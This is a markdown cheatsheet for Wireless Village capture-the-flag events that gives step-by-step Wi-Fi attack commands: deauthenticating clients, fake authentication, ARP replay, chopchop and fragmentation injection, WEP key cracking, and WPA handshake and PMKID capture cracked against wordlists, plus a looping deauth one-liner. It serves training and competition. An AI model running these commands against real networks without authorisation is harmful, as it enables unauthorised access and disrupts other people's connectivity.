Skip to content

Latest commit

 

History

History
326 lines (277 loc) · 10.5 KB

wifi_hack.md

File metadata and controls

326 lines (277 loc) · 10.5 KB
Raw

Always Be Collecting

This cheatsheet is largely for the RF Hacker's Sanctuary Wireless Village Capture The Flag events.

Be familiar with the operating environment. New users should install_pentoo.

Read the man page(s)!

Setup

Check the wireless interface(s) and start monitoring mode.

$ airmon-ng
$ airmon-ng start wlan0

Verify that injection tests work.

$ aireplay-ng -9 -e CTF_01 wlan0mon

Reconnaissance

Find surrounding networks, access points and clients.

$ airodump-ng wlan0mon

Begin collection on target channel, BSSID and recording to file.

$ airodump-ng wlan0mon -c 36 --band a --bssid E0:05:C5:60:2E:65 --ivs -w capture
  • -c Select channel number
  • -w Write to file
  • --bssid MAC address of access point
  • --ivs Save only captured IVs (optional)
  • --band Select the wireless band. 'b' and 'g' uses 2.4GHz and 'a' uses 5GHz.

Scenarios

There are different scenarios in which the target network may be configured. These may be access points with or without a client, a client looking for an access point, or compromising an access point via a client. The next section contains some of those known scenarios with procedures.

WEP with connected client

This scenario is generally straight forward. Use a while true loop for deauthenticating client if necessary.

  1. Monitor and capture the target network traffic.
$ airodump-ng wlan0mon -c 6 -e CTF_01 --ivs -w capture
  1. Run the fake authentication attack to associate with the target access point.
$ aireplay-ng -1 100 -o 1 -q 10 -e CTF_01 wlan0mon
  1. Force the connected client to deauthenticate.
$ aireplay-ng -0 3 -e CTF_01 -c client_mac wlan0mon
  1. Speed things up with an ARP request replay attack against the target access point.
$ aireplay-ng -3 -e CTF_01 wlan0mon
  1. Run aircrack-ng to obtain the WEP key.

If the arp request replay attack isn't working then the -p 0841 attack may be used in its place.

$ aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -e CTF_01 wlan0mon

WEP without connected client

The access point must be broadcasting data for this to work. This attack works better by adding the -h MAC address.

  1. Monitor and capture the target network traffic using airodump-ng.
  2. In a new console execute Fake Authentication attack method.
  3. In a new console execute Fragmentation or chopchop attack methods.
  4. Create an arp packet with packetforge-ng.
  5. Inject the arp packet using aireplay-ng -2.
  6. Run aircrack-ng to obtain the WEP key.

WEP SKA with connected client

WEP access point configured to Shared-Key Authentication (SKA) with client. Use a while true loop for deauthenticating the client.

  1. Monitor and capture the target network traffic.
$ airodump-ng wlan0mon -c 6 -e CTF_01 -w capture
  1. Force the connected client to deauthenticate to capture the PRGA XOR keystream.
$ aireplay-ng -0 3 -e CTF_01 -c client_mac wlan0mon
  1. Run the fake authentication attack with the XOR keystream to associate with the target access point.
$ aireplay-ng -1 100 -o 1 -q 10 -e CTF_01 wlan0mon -y capture-01-9C-EF-D5-FB-51-60.xor
  1. Speed things up with an ARP request replay attack against the target access point.
$ aireplay-ng -3 -e CTF_01 wlan0mon
  1. Run aircrack-ng to obtain the WEP key.

WPA/WPA2 PSK with connected client

Steps to perform an attack on a WPA/WPA2 access point with clients. The pre-shared (PSK) must be in the wordlists used. There is a bug in versions older than 1.5 where this will fail.

  1. Monitor and capture the target network traffic.
$ airodump-ng wlan0mon -c 6 -e CTF_01 -w capture
  1. Force the connected client to deauthenticate to capture the handshake(s).
$ aireplay-ng -0 3 -e CTF_01 -c client_mac wlan0mon
  1. Run aircrack-ng to obtain the PSK key.

aircrack-ng

Begin cracking IVS file on target BSSID (can perform while airodump-ng is writing).

$ aircrack-ng capture-01.ivs --bssid E0:05:C5:60:2E:65

Invoke PTW WEP cracking method method on an arp replay.

$ aircrack-ng -z replay_arp-0309-015802.cap

airmon-ng

Set interface to monitor mode.

$ airmon-ng start wlx9cefd5fd1181

Stop monitor mode and restart networking.

$ airmon-ng stop wlan0mon
$ systemctl restart network-manager.service

Checking and kill networking services.

$ airmon-ng check kill

aireplay-ng

Quick summary

Use -D for 5ghz bands. Attack modes (Numbers can still be used):

  • --deauthor -0
  • --fakeauth or -1
  • --interactiveor -2
  • --arpreplay or -3
  • --chopchop or -4
  • --fragment or -5
  • --test or -9

Deauthentication

Set attack mode Deauthentication.

  • -0 Set for deauthentication mode
  • -e Target access point ESSID
  • -a Target access point MAC address
  • -c Set destination MAC address
$ aireplay-ng -0 5 -e CTF_01 -a 9C:EF:D5:FB:51:60 -c client_mac wlan0mon

Fake Authentication

Set attack mode Fake authentication.

  • -1 Set for fake authentication attack
  • 180 Reassociation timing in seconds
  • -o Number of packets to send at a time
  • -q Frequency to send keep-alive packets
  • -e Target access point network name
  • -a Target access point MAC address
  • -h Our wireless card's MAC address
$ aireplay-ng -1 180 -o 1 -q 10 -e CTF_01 -a 9C:EF:D5:FB:51:60 -h our_mac wlan0mon

Interactive packet replay

Set attack mode Interactive packet replay.

  • -2 Set for interactive packet replay attack mode
  • -r ARP file to replay
$ aireplay-ng -2 -r arp-request wlan0mon

ARP request replay attack

Set attack mode ARP request replay attack.

  • -3 Set for ARP request replay attack mode
  • -x Number of packets-per-second
  • -r Extract packets from target pcap file
  • -b Target access point BSSID
  • -h Set source MAC address
$ aireplay-ng -3 -x 100 -r replay.cap -b 9C:EF:D5:FB:51:60 -h our_mac wlan0mon

KoreK chopchop attack

Set attack mode Korek chopchop.

  • -4 Set for chopchop attack
  • -b Target access point MAC address
  • -h Our wireless card's MAC address
$  aireplay-ng -4 -b 9C:EF:D5:FB:51:60 -h our_mac wlan0mon

Fragmentation attack

Set attack mode Fragmentation.

  • -5 Set for chopchop attack
  • -b Target access point MAC address
  • -h Our wireless card's MAC address
$ aireplay-ng -5 -b 9C:EF:D5:FB:51:60 -h our_mac wlan0mon

packetforge-ng

Generate packets for injection from PRGA capture.

Summary of different modes:

  • --arp or -0 for ARP packet
  • --udp or -1 for UDP packet
  • --icmp or -2 for ICMP packet
  • --null or -3 for a null packet
  • --custom or -9 for a custom packet

Additional example:

  • -0 Set for generate arp packet
  • -a Target access point MAC address
  • -h Our wireless card's MAC address
  • -k Destination IP address (255.255.255.255)
  • -l Source IP address (255.255.255.255)
  • -y XOR file to read the PRGA from
  • -w Write to file
$ packetforge-ng -0 -a 9C:EF:D5:FB:51:60 -h our_mac -k 255.255.255.255 -l 255.255.255.255 -y file.xor -w arp-request

airolib-ng

airolib-ng is the database to store essid's, captured PMKs, import password lists and accelerate handshake cracking. Create database and import essid file.

$ airolib-ng CTF --import essid CTF_essids

Import password list(s).

$ airolib-ng CTF --import passwd /usr/share/wordlists/cyberpunk.words

Begin batch processing of passwords to essid's.

$ airolib-ng CTF --batch

hcxdumptool

This technique requires a slightly different approach and is used against PSK networks. Set up the interface below.

$ ip link set wlan0mon down
$ iwconfig wlan0mon mode monitor
$ ip link set wlan0mon up

Save the target BSSIDs to a file. Begin capturing with filtered parameters.

$ hcxdumptool -i wlan0mon --enable_status -c 1 -o capture.pcapng --filterlist=filter_list --filtermode=2

Section not finished.

hcxpcaptool

Use hcxpcaptool to extract the PMK hash IDs.

$ hcxpcaptool -k pmkidhash capture.cap

Run hashcat to attempt to decrypt the PMK hash IDs.

$ hashcat -m 16800 pmkidhash /usr/share/wordlists/cyberpunk.words --force

wifite

wifite is a tool that automates the process. No instructions, read the man page.

Quick & Useful

Loops

Loop deauthentication attack to target client.

$ while true; do sleep 10 && aireplay-ng -0 1 -e CTF_01 -c sta_mac wlan0mon; done

airodump-ng regex

Filter target ESSIDs.

$ airodump-ng wlan0mon --essid-regex "^(CTF_01).*$"
$ airodump-ng wlan0mon --essid-regex ^.*(one|two|three).*$"
$ airodump-ng wlan0mon --essid-regex "CTF_([0-9]{1,2}|W.*)"

Configure interface

Set link up or down.

$ ip link set wlan0mon down
$ ip link set wlan0mon up

Set modes monitor or managed.

$ iw wlan0mon set type managed
$ iw wlan0mon set type monitor

Set interface channel

$ iw dev wlan0mon set channel 6

Wireshark & tshark

Using Wireshark to filter target packets.

wlan.addr == target_mac && wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol

Using tshark to extract the handshakes.

$ tshark -r filter.pcap -R "(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol) && wlan.addr == 9C:EF:D5:FB:51:60" -2

Sources